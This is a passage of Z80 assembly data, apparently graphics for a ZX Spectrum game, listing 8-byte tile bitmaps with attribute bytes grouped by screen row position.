defb 0x09, 0x02, 0x05, 0x22, 0x05, 0x4B, 0x17, 0xAF
defb 0x47
defb 0xFF, 0xEE, 0xDC, 0x70, 0xE0, 0xC0, 0x80, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xFF, 0x77, 0x3B, 0x0E, 0x07, 0x03, 0x01, 0x00
defb 0x4F
defb 0x90, 0x40, 0xA0, 0x44, 0xA0, 0xD2, 0xE8, 0xF5
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x77, 0x2A, 0x55, 0x6E, 0x6D, 0xEE, 0xEF, 0xEA
defb 0x4A
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x80, 0x40, 0x88, 0xC0, 0x80, 0x40, 0x90, 0x80
defb 0x46
defb 0x08, 0x11, 0x0A, 0x11, 0x0B, 0x11, 0x23, 0x11
defb 0x06
defb 0x00, 0x1C, 0x22, 0x49, 0x51, 0x52, 0x4C, 0x40
defb 0x45
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x21, 0x54, 0x39, 0x1C, 0x4A, 0x25, 0x43
defb 0x43
defb 0x00, 0x14, 0xB6, 0x12, 0xB4, 0x22, 0x14, 0x86
defb 0x42
defb 0x5F, 0x3E, 0x15, 0x1F, 0x2F, 0x5F, 0x7F, 0xBF
defb 0x46
defb 0x46, 0x8C, 0x18, 0x88, 0x04, 0xCA, 0xA6, 0xC3
defb 0x06
defb 0x00, 0x38, 0x44, 0x92, 0x8A, 0x4A, 0x32, 0x02
defb 0x45
defb 0x00, 0x1C, 0x22, 0x49, 0x51, 0x52, 0x4C, 0x40
defb 0x45
defb 0xDB, 0x85, 0x82, 0x00, 0x89, 0x40, 0x80, 0x50
defb 0x47
defb 0xEA, 0x45, 0x03, 0x21, 0x01, 0x11, 0x00, 0x11
defb 0x46
defb 0xDB, 0x85, 0x82, 0x00, 0x89, 0x40, 0x80, 0x50
defb 0x47
defb 0xFF, 0x5B, 0x00, 0x20, 0x02, 0x00, 0x00, 0x00
defb 0x46
defb 0xFF, 0x5B, 0x00, 0x20, 0x02, 0x00, 0x00, 0x00
defb 0x46
defb 0xEA, 0x45, 0x03, 0x21, 0x01, 0x11, 0x00, 0x11
defb 0x06
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x48, 0x00, 0x01, 0xC0, 0xAA, 0x00, 0x50, 0x2A
defb 0x58
defb 0x22, 0x04, 0x00, 0x01, 0x57, 0x0E, 0x40, 0xAA
defb 0x50
; blocks at pixel positionn (y=120):
defb 0x09, 0x02, 0x05, 0x22, 0x05, 0x4B, 0x17, 0xAF
defb 0x47
defb 0xFF, 0xEE, 0xDC, 0x70, 0xE0, 0xC0, 0x80, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xFF, 0x77, 0x3B, 0x0E, 0x07, 0x03, 0x01, 0x00
defb 0x4F
defb 0x90, 0x40, 0xA0, 0x44, 0xA0, 0xD2, 0xE8, 0xF5
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x7F, 0xD7
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFE, 0x6B
defb 0x47
defb 0xC5, 0x0A, 0x95, 0xAA, 0xDD, 0xDE, 0xDF, 0x57
defb 0x4A
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFE, 0x6B
defb 0x4F
defb 0x80, 0xC0, 0x90, 0x05, 0x8A, 0xC0, 0xA4, 0x7B
defb 0x06
defb 0x22, 0x11, 0xA2, 0x51, 0x01, 0x01, 0x29, 0x5E
defb 0x04
defb 0x50, 0x40, 0x50, 0x40, 0x22, 0x24, 0x18, 0x00
defb 0x05
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x69, 0x64, 0x28, 0x45, 0x29, 0x44, 0x2D, 0x00
defb 0x42
defb 0x54, 0xE2, 0x72, 0xA8, 0x14, 0x8E, 0x36, 0x00
defb 0x02
defb 0xBF, 0xFF, 0xBF, 0x7F, 0x5F, 0x2E, 0x1B, 0x06
defb 0x06
defb 0xA5, 0xC2, 0xA5, 0xC2, 0x46, 0x8C, 0x18, 0xA0
defb 0x02
defb 0x0A, 0x02, 0x0A, 0x02, 0x44, 0x24, 0x18, 0x00
defb 0x05
defb 0x50, 0x40, 0x50, 0x40, 0x22, 0x24, 0x18, 0x00
defb 0x05
defb 0x80, 0xC0, 0x90, 0x05, 0x8A, 0xC0, 0xA4, 0x7B
defb 0x06
defb 0x22, 0x11, 0xA2, 0x51, 0x01, 0x01, 0x29, 0x5E
defb 0x04
defb 0x80, 0xC0, 0x90, 0x05, 0x8A, 0xC0, 0xA4, 0x7B
defb 0x46
defb 0x00, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
defb 0x00, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
defb 0x22, 0x11, 0xA2, 0x51, 0x01, 0x01, 0x29, 0x5E
defb 0x04
defb 0xDB, 0x85, 0x82, 0x00, 0x89, 0x40, 0x80, 0x50
defb 0x47
defb 0xEA, 0x45, 0x03, 0x21, 0x01, 0x11, 0x00, 0x11
defb 0x46
defb 0x10, 0x10, 0x08, 0x08, 0x08, 0x04, 0x04, 0x04
defb 0x01
defb 0x10, 0x10, 0x08, 0x08, 0x08, 0x04, 0x04, 0x04
defb 0x05
; blocks at pixel positionn (y=128):
defb 0x48, 0x00, 0x01, 0xC0, 0xAA, 0x00, 0x50, 0x2A
defb 0x58
defb 0x22, 0x04, 0x00, 0x01, 0x57, 0x0E, 0x40, 0xAA
defb 0x50
defb 0x48, 0x00, 0x01, 0xC0, 0xAA, 0x00, 0x50, 0x2A
defb 0x58
defb 0x22, 0x04, 0x00, 0x01, 0x57, 0x0E, 0x40, 0xAA
defb 0x50
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x7F, 0xD7
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFE, 0x6B
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x7F, 0xD7
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFE, 0x6B
defb 0x4F
defb 0x7B, 0x57, 0x32, 0x22, 0x20, 0x20, 0x00, 0x00
defb 0x4F
defb 0xDB, 0x67, 0x56, 0x62, 0x42, 0x60, 0x20, 0x20
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0xA4, 0x00
defb 0x47
defb 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0xA4, 0x00
defb 0x47
defb 0x7B, 0x57, 0x32, 0x22, 0x20, 0x20, 0x00, 0x00
defb 0x47
defb 0xDB, 0x67, 0x56, 0x62, 0x42, 0x60, 0x20, 0x20
defb 0x47
defb 0xFF, 0xFF, 0xBF, 0xFF, 0xFF, 0xB7, 0xFF, 0xDF
defb 0x6F
defb 0x00, 0x40, 0x00, 0x50, 0x20, 0x12, 0x82, 0x96
defb 0x79
defb 0x00, 0x40, 0x00, 0x50, 0x20, 0x12, 0x82, 0x96
defb 0x7D
defb 0xFF, 0xFF, 0xBF, 0xFF, 0xFF, 0xB7, 0xFF, 0xDF
defb 0x4F
defb 0xFF, 0xFF, 0xBF, 0xFF, 0xFF, 0xB7, 0xFF, 0xDF
defb 0x6F
defb 0x00, 0x40, 0x00, 0x50, 0x20, 0x12, 0x82, 0x96
defb 0x7D
defb 0x00, 0xAA, 0x04, 0x00, 0x04, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0xAA, 0x00, 0x10, 0x00, 0x10, 0x08, 0x10
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x40, 0x00, 0x42, 0x15, 0x40, 0x00, 0x40
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x02, 0x00, 0x00, 0x14, 0x02, 0x00, 0x02
defb 0x47
defb 0x02, 0x03, 0x02, 0x03, 0x02, 0x03, 0x02, 0x03
defb 0x4F
defb 0x80, 0x20, 0x80, 0x20, 0x00, 0x20, 0x00, 0x20
defb 0x4F
; blocks at pixel positionn (y=136):
defb 0x00, 0xAA, 0x04, 0x00, 0x04, 0x00, 0x00, 0x00
defb 0x01
defb 0x00, 0xAA, 0x04, 0x00, 0x04, 0x00, 0x00, 0x00
defb 0x01
defb 0x08, 0x08, 0x10, 0x10, 0x10, 0x20, 0x20, 0x20
defb 0x05
defb 0x08, 0x08, 0x10, 0x10, 0x10, 0x20, 0x20, 0x20
defb 0x01
defb 0xBF, 0x7F, 0xBF, 0x5D, 0xAF, 0x5F, 0x2B, 0x15
defb 0x4F
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x4F
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x4F
defb 0xFD, 0xFE, 0xFD, 0xBA, 0xF5, 0xFA, 0xD4, 0xA8
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0xA4, 0x00
defb 0x47
defb 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0xA4, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x10, 0x00, 0x11, 0x0B, 0x06, 0x00, 0x20, 0x00
defb 0x79
defb 0x73, 0x7F, 0xFF, 0xFF, 0xFB, 0xF5, 0xFB, 0xFF
defb 0x6F
defb 0x73, 0x7F, 0xFF, 0xFF, 0xFB, 0xF5, 0xFB, 0xFF
defb 0x4F
defb 0x10, 0x00, 0x11, 0x0B, 0x06, 0x00, 0x20, 0x00
defb 0x7D
defb 0x10, 0x00, 0x11, 0x0B, 0x06, 0x00, 0x20, 0x00
defb 0x7D
defb 0x73, 0x7F, 0xFF, 0xFF, 0xFB, 0xF5, 0xFB, 0xFF
defb 0x6F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0xA2, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0xA2, 0x00
defb 0x47
defb 0x00, 0x40, 0x28, 0x40, 0x00, 0x40, 0x00, 0x40
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x02, 0x44, 0x00, 0x00, 0x02, 0x00, 0x02
defb 0x47
defb 0x02, 0x03, 0x02, 0x03, 0x02, 0x03, 0x02, 0x03
defb 0x4F
defb 0x80, 0x20, 0x80, 0x20, 0x00, 0x20, 0x00, 0x20
defb 0x4F
; blocks at pixel positionn (y=144):
defb 0x00, 0x40, 0x00, 0x42, 0x15, 0x40, 0x00, 0x40
defb 0x47
defb 0x00, 0x02, 0x00, 0x00, 0x14, 0x02, 0x00, 0x02
defb 0x06
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x06, 0x08, 0x10, 0x20, 0x50, 0x42, 0x00
defb 0x47
defb 0x00, 0x60, 0x10, 0x28, 0x04, 0x02, 0x12, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0xAA, 0x04, 0x00, 0x04, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0xAA, 0x00, 0x10, 0x00, 0x10, 0x08, 0x10
defb 0x47
defb 0x18, 0x49, 0x90, 0x40, 0x91, 0x00, 0x90, 0x04
defb 0x5F
defb 0x01, 0x0A, 0x81, 0x08, 0x05, 0x4C, 0x8D, 0x18
defb 0x50
defb 0x18, 0x49, 0x90, 0x40, 0x91, 0x00, 0x90, 0x04
defb 0x5F
defb 0x01, 0x0A, 0x81, 0x08, 0x05, 0x4C, 0x8D, 0x18
defb 0x50
defb 0x18, 0x49, 0x90, 0x40, 0x91, 0x00, 0x90, 0x04
defb 0x5F
defb 0x01, 0x0A, 0x81, 0x08, 0x05, 0x4C, 0x8D, 0x18
defb 0x50
defb 0x10, 0x20, 0x40, 0x05, 0x40, 0x00, 0x10, 0x00
defb 0x47
defb 0x04, 0x02, 0x01, 0x50, 0x01, 0x00, 0x04, 0x00
defb 0x47
defb 0x00, 0x7F, 0x4A, 0x5F, 0x7B, 0x51, 0x7B, 0x5B
defb 0x46
defb 0x00, 0xFE, 0xA8, 0xFA, 0xD8, 0x8A, 0xD8, 0xDA
defb 0x44
defb 0x00, 0x01, 0x03, 0x07, 0x0E, 0x3B, 0x77, 0xFF
defb 0x47
defb 0x00, 0x80, 0xC0, 0xE0, 0x70, 0xDC, 0xEE, 0xFF
defb 0x07
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x01, 0x02, 0x07, 0x0E, 0x15, 0x00
defb 0x46
defb 0x00, 0x00, 0x80, 0xC0, 0x60, 0xF0, 0x58, 0x00
defb 0x02
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x29, 0x2E, 0x2B, 0x5A, 0x5B, 0x5E, 0x53, 0x54
defb 0x47
defb 0x34, 0xB4, 0x34, 0xBA, 0x3A, 0xBA, 0x3A, 0xBA
defb 0x05
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0xEF, 0x7A, 0xDF, 0x76, 0x3D, 0x6A, 0x35, 0x00
defb 0x47
defb 0x7F, 0xF6, 0x6F, 0xF6, 0x6C, 0xBE, 0x54, 0x00
defb 0x05
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
; blocks at pixel positionn (y=152):
defb 0x00, 0x40, 0x28, 0x40, 0x00, 0x40, 0x00, 0x40
defb 0x47
defb 0x00, 0x02, 0x44, 0x00, 0x00, 0x02, 0x00, 0x02
defb 0x06
defb 0x00, 0x06, 0x08, 0x10, 0x20, 0x50, 0x42, 0x00
defb 0x47
defb 0x00, 0x60, 0x10, 0x28, 0x04, 0x02, 0x12, 0x00
defb 0x06
defb 0x00, 0x06, 0x08, 0x10, 0x20, 0x50, 0x42, 0x00
defb 0x47
defb 0x00, 0x60, 0x10, 0x28, 0x04, 0x02, 0x12, 0x00
defb 0x06
defb 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0xA2, 0x00
defb 0x06
defb 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0xA2, 0x00
defb 0x06
defb 0x80, 0x50, 0x81, 0x10, 0xA0, 0x32, 0xB1, 0x18
defb 0x5F
defb 0x18, 0x92, 0x09, 0x02, 0x89, 0x00, 0x09, 0x20
defb 0x50
defb 0x80, 0x50, 0x81, 0x10, 0xA0, 0x32, 0xB1, 0x18
defb 0x5F
defb 0x18, 0x92, 0x09, 0x02, 0x89, 0x00, 0x09, 0x20
defb 0x50
defb 0x00, 0xAA, 0x00, 0x10, 0x00, 0x10, 0x08, 0x10
defb 0x41
defb 0x00, 0xAA, 0x00, 0x10, 0x00, 0x10, 0x08, 0x10
defb 0x41
defb 0x02, 0x00, 0x10, 0x00, 0x09, 0x04, 0x00, 0x02
defb 0x47
defb 0x20, 0x00, 0x04, 0x00, 0x48, 0x90, 0x00, 0xA0
defb 0x47
defb 0x3E, 0x2C, 0x1E, 0x16, 0x0F, 0x04, 0x03, 0x00
defb 0x44
defb 0x74, 0x28, 0x60, 0x48, 0x90, 0x20, 0x40, 0x00
defb 0x04
defb 0xEF, 0x7A, 0xDF, 0x76, 0x3D, 0x6A, 0x35, 0x00
defb 0x07
defb 0x7F, 0xF6, 0x6F, 0xF6, 0x6C, 0xBE, 0x54, 0x00
defb 0x05
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x1F, 0x10, 0x17, 0x16, 0x29, 0x2A, 0x2F, 0x28
defb 0x47
defb 0x78, 0x88, 0x28, 0xA8, 0x34, 0xB4, 0x34, 0xB4
defb 0x05
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x5B, 0x54, 0x51, 0xB6, 0xBF, 0x82, 0xD5, 0x00
defb 0x47
defb 0x3A, 0xBA, 0x3A, 0xBD, 0x5D, 0x81, 0x55, 0x00
defb 0x05
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x01, 0x03, 0x06, 0x0D, 0x18, 0x3F, 0xEA
defb 0x46
defb 0xD5, 0x81, 0x7D, 0xF8, 0x55, 0x00, 0x55, 0xAA
defb 0x46
defb 0xFF, 0xDB, 0x6D, 0x7F, 0x36, 0x3B, 0x1F, 0x55
defb 0x02
defb 0x00, 0x80, 0x40, 0xA0, 0xF0, 0x58, 0xAC, 0x55
defb 0x02
; blocks at pixel positionn (y=160):
defb 0x7D, 0xC0, 0xA8, 0x9C, 0xBA, 0x91, 0xB9, 0xDD
defb 0x46
defb 0x54, 0x02, 0x28, 0x72, 0xB8, 0x12, 0x38, 0x72
defb 0x06
defb 0x00, 0x22, 0xAA, 0xAA, 0x22, 0xDD, 0xAA, 0x77
defb 0x03
defb 0x00, 0x22, 0xAA, 0xAA, 0x22, 0xDD, 0xAA, 0x77
defb 0x02
defb 0x40, 0x0F, 0x1D, 0x38, 0x71, 0x6B, 0x40, 0x62
defb 0x5F
defb 0x1E, 0xFC, 0x50, 0x02, 0x80, 0xD1, 0x04, 0x4A
defb 0x17
defb 0x42, 0xA2, 0x42, 0x80, 0x07, 0x1E, 0x38, 0x40
defb 0x5F
defb 0x46, 0x84, 0x4E, 0x1C, 0xF8, 0xA0, 0x01, 0x02
defb 0x17
defb 0x00, 0x00, 0x06, 0x3E, 0x74, 0x60, 0x36, 0x5C
defb 0x47
defb 0x00, 0x00, 0xF0, 0xF8, 0x08, 0x04, 0x04, 0x08
defb 0x06
defb 0x00, 0x00, 0x0F, 0x1F, 0x10, 0x20, 0x20, 0x10
defb 0x06
defb 0x00, 0x00, 0x60, 0x7C, 0x2E, 0x06, 0x6C, 0x3A
defb 0x47
defb 0x18, 0x49, 0x90, 0x40, 0x91, 0x00, 0x90, 0x04
defb 0x47
defb 0x00, 0x00, 0x40, 0x08, 0x00, 0x00, 0x40, 0x00
defb 0x47
defb 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x02, 0x00
defb 0x47
defb 0x01, 0x0A, 0x81, 0x08, 0x05, 0x4C, 0x8D, 0x18
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x01, 0x03, 0x07, 0x0E, 0x3B, 0x77, 0xFF
defb 0x4F
defb 0x00, 0x40, 0x00, 0x42, 0x15, 0x40, 0x00, 0x40
defb 0x47
defb 0x00, 0x02, 0x00, 0x00, 0x14, 0x02, 0x00, 0x02
defb 0x06
defb 0x00, 0x80, 0xC0, 0xE0, 0x70, 0xDC, 0xEE, 0xFF
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x01, 0x00, 0x02, 0x08, 0x10, 0x84, 0x20, 0x80
defb 0x47
defb 0x00, 0x44, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x01, 0x00, 0x02, 0x04, 0x10, 0x00, 0x08, 0x00
defb 0x47
defb 0x00, 0x44, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0xDB, 0x85, 0x82, 0x00, 0x89, 0x40, 0x80, 0x50
defb 0x47
defb 0xFF, 0x5B, 0x00, 0x20, 0x02, 0x00, 0x00, 0x00
defb 0x46
defb 0xFF, 0x5B, 0x00, 0x20, 0x02, 0x00, 0x00, 0x00
defb 0x46
defb 0xEA, 0x45, 0x03, 0x21, 0x01, 0x11, 0x00, 0x11
defb 0x46
defb 0x80, 0x40, 0x88, 0xC0, 0x80, 0x40, 0x90, 0x80
defb 0x46
defb 0x08, 0x11, 0x0A, 0x11, 0x0B, 0x11, 0x23, 0x11
defb 0x06
; blocks at pixel positionn (y=168):
defb 0x4E, 0xD7, 0x28, 0xAA, 0x2A, 0x80, 0x55, 0x00
defb 0x06
defb 0xE4, 0xD2, 0x00, 0xAA, 0x00, 0x02, 0x54, 0x00
defb 0x04
defb 0x00, 0x8F, 0x33, 0x7E, 0x38, 0x00, 0x41, 0xA0
defb 0x5F
defb 0x00, 0xE1, 0x78, 0x1C, 0x0E, 0x84, 0x06, 0x84
defb 0x17
defb 0x42, 0x72, 0x38, 0x1F, 0x05, 0x80, 0x02, 0x92
defb 0x5F
defb 0x84, 0x40, 0x02, 0xF0, 0x59, 0x1C, 0x4E, 0x84
defb 0x17
defb 0xFF, 0xF6, 0xBC, 0x58, 0xB0, 0xE0, 0xC0, 0x80
defb 0x03
defb 0xFF, 0x7E, 0x3F, 0x1E, 0x0F, 0x06, 0x03, 0x01
defb 0x02
defb 0x3C, 0x54, 0x25, 0x17, 0x06, 0x1B, 0x02, 0x18
defb 0x07
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x3C, 0x2A, 0xA4, 0xE8, 0x60, 0xD8, 0x40, 0x18
defb 0x07
defb 0x80, 0x50, 0x81, 0x10, 0xA0, 0x32, 0xB1, 0x18
defb 0x47
defb 0x00, 0x00, 0x40, 0x08, 0x00, 0x00, 0x40, 0x00
defb 0x47
defb 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x02, 0x00
defb 0x47
defb 0x18, 0x92, 0x09, 0x02, 0x89, 0x00, 0x09, 0x20
defb 0x47
defb 0x00, 0x01, 0x03, 0x07, 0x0E, 0x3B, 0x77, 0xFF
defb 0x4F
defb 0xF5, 0xE8, 0xD2, 0xA0, 0x44, 0xA0, 0x40, 0x90
defb 0x47
defb 0x00, 0x40, 0x28, 0x40, 0x00, 0x40, 0x00, 0x40
defb 0x47
defb 0x70, 0x8A, 0x88, 0x50, 0x88, 0xFA, 0x00, 0x02
defb 0x45
defb 0xAF, 0x17, 0x4B, 0x05, 0x22, 0x05, 0x02, 0x09
defb 0x47
defb 0x00, 0x80, 0xC0, 0xE0, 0x70, 0xDC, 0xEE, 0xFF
defb 0x4F
defb 0x80, 0x00, 0x40, 0x10, 0x08, 0x21, 0x04, 0x01
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x10, 0x00, 0x20, 0x40, 0x00, 0x20, 0x80, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x80, 0x40, 0x88, 0xC0, 0x80, 0x40, 0x90, 0x80
defb 0x46
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x08, 0x11, 0x0A, 0x11, 0x0B, 0x11, 0x23, 0x11
defb 0x06
defb 0x80, 0x40, 0x88, 0xC0, 0x80, 0x40, 0x90, 0x80
defb 0x46
defb 0x08, 0x11, 0x0A, 0x11, 0x0B, 0x11, 0x23, 0x11
defb 0x06
; blocks at pixel positionn (y=176):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x7F, 0xD7
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFE, 0x6B
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x7F, 0xD7
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFE, 0x6B
defb 0x47
defb 0x80, 0xC0, 0x90, 0x05, 0x8A, 0xC0, 0xA4, 0x7B
defb 0x06
defb 0x22, 0x11, 0xA2, 0x51, 0x01, 0x01, 0x29, 0x5E
defb 0x04
defb 0x80, 0xC0, 0x90, 0x05, 0x8A, 0xC0, 0xA4, 0x7B
defb 0x46
defb 0x00, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
defb 0x00, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
defb 0x22, 0x11, 0xA2, 0x51, 0x01, 0x01, 0x29, 0x5E
defb 0x04
defb 0xFB, 0xC0, 0x90, 0x05, 0x8A, 0xC0, 0xA4, 0x7B
defb 0x06
defb 0x6E, 0x11, 0xA2, 0x51, 0x01, 0x01, 0x29, 0x5E
defb 0x04
defb 0xFB, 0xC0, 0x90, 0x05, 0x8A, 0xC0, 0xA4, 0x7B
defb 0x06
defb 0xF5, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
defb 0xF5, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
defb 0x6E, 0x11, 0xA2, 0x51, 0x01, 0x01, 0x29, 0x5E
defb 0x04
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x54, 0xA0, 0x40
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0x0A, 0x01
defb 0x4F
defb 0x00, 0x03, 0x04, 0x18, 0x25, 0x60, 0x10, 0x02
defb 0x4F
defb 0x00, 0x80, 0x40, 0xE0, 0x12, 0x18, 0x24, 0x04
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x18, 0x24, 0x20, 0x70, 0x88, 0x00, 0x00
defb 0x4F
defb 0x48, 0x80, 0x0C, 0x12, 0x38, 0x44, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x80, 0x40, 0x88, 0xC0, 0x80, 0x40, 0x90, 0x80
defb 0x46
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x08, 0x11, 0x0A, 0x11, 0x0B, 0x11, 0x23, 0x11
defb 0x06
defb 0xFF, 0x5B, 0x00, 0x20, 0x02, 0x00, 0x00, 0x00
defb 0x46
defb 0xFF, 0x5B, 0x00, 0x20, 0x02, 0x00, 0x00, 0x00
defb 0x46
; blocks at pixel positionn (y=184):
defb 0xBF, 0x7F, 0xBF, 0x5D, 0xAF, 0x5F, 0x2B, 0x15
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
